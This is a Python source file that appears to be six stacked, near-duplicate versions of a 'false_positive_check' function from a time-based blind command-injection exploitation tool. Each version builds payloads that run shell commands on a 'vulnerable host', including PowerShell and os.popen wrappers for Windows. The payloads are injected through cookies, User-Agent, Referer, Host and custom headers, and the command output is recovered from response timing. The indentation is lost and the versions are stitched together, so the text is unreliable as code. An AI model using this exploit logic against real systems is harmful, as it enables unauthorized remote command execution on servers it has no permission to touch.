def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix,
timesec, http_request_method, url, vuln_parameter,
randvcalc, alter_shell, how_long, url_time_response):
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
found_chars = False
info_msg = "Checking the reliability of the used payload "
info_msg += "in case of a false positive result... "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
print settings.print_info_msg(info_msg)
# Varying the sleep time.
timesec = timesec + random.randint(1, 5)
# Checking the output length of the used payload.
for output_length in range(1, 3):
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(
separator, cmd, output_length, timesec, http_request_method)
else:
payload = tb_payloads.cmd_execution(separator, cmd, output_length,
timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter,
payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url, timesec,
url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >=
settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True:
if settings.TARGET_OS == "win":
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 20):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(
separator, cmd, num_of_chars, ascii_char, timesec,
http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd,
num_of_chars, ascii_char,
timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" +
settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter,
payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(
url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter,
payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter,
payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(
url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url,
timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (
how_long - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
is_valid = True
break
if is_valid:
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix,
delay, http_request_method, url, vuln_parameter,
randvcalc, alter_shell, how_long, url_time_response):
found_chars = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the reliability of used payload... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
for output_length in range(1, 3):
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(
separator, cmd, output_length, delay, http_request_method)
else:
payload = tb_payloads.cmd_execution(separator, cmd, output_length,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter,
payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url, delay,
url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - delay >=
settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True:
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 3):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(
separator, cmd, num_of_chars, ascii_char, delay,
http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd,
num_of_chars, ascii_char,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" +
settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter,
payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(
url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter,
payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(
url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url,
delay, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (
how_long - delay >= settings.FOUND_DIFF):
output.append(ascii_char)
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
def false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long):
# Log previous 'how_long' for later comparison
previous_how_long = how_long
found_chars = False
if menu.options.verbose:
sys.stdout.write("\n(*) Testing the reliability of used payload... ")
sys.stdout.flush()
for output_length in range(1, 3):
if alter_shell:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
else:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url)
if (previous_how_long == how_long) and (how_long >= delay):
found_chars = True
break
if found_chars == True :
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
# Log previous 'how_long' for later comparison
previous_how_long = how_long
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 3):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url)
if (previous_how_long == how_long) and (how_long >= delay):
output.append(ascii_char)
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
def false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response):
found_chars = False
if menu.options.verbose:
info_msg = "Testing the reliability of used payload... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
for output_length in range(1, 3):
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
else:
payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - delay >= settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True :
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 3):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - delay >= settings.FOUND_DIFF):
output.append(ascii_char)
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response):
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
found_chars = False
info_msg = "Checking the reliability of the used payload "
info_msg += "in case of a false positive result... "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
print settings.print_info_msg(info_msg)
# Varying the sleep time.
timesec = timesec + random.randint(1, 5)
# Checking the output length of the used payload.
for output_length in range(1, 3):
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
else:
payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True :
if settings.TARGET_OS == "win":
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 20):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
is_valid = True
break
if is_valid:
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
if settings.VERBOSITY_LEVEL == 1:
print ""
return how_long, output
def false_positive_check(separator, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, randvcalc,
alter_shell, how_long):
# Log previous 'how_long' for later comparison
previous_how_long = how_long
found_chars = False
if menu.options.verbose:
sys.stdout.write("\n(*) Testing the reliability of used payload... ")
sys.stdout.flush()
for output_length in range(1, 3):
if alter_shell:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution_alter_shell(
separator, cmd, output_length, delay, http_request_method)
else:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution(separator, cmd, output_length,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
payload.replace("\n", "\\n") + Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url)
if (previous_how_long == how_long) and (how_long >= delay):
found_chars = True
break
if found_chars == True:
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
# Log previous 'how_long' for later comparison
previous_how_long = how_long
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 3):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(
separator, cmd, num_of_chars, ascii_char, delay,
http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd,
num_of_chars, ascii_char,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
payload.replace("\n", "\\n") +
Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter,
payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(
url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter,
payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url)
if (previous_how_long == how_long) and (how_long >= delay):
output.append(ascii_char)
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
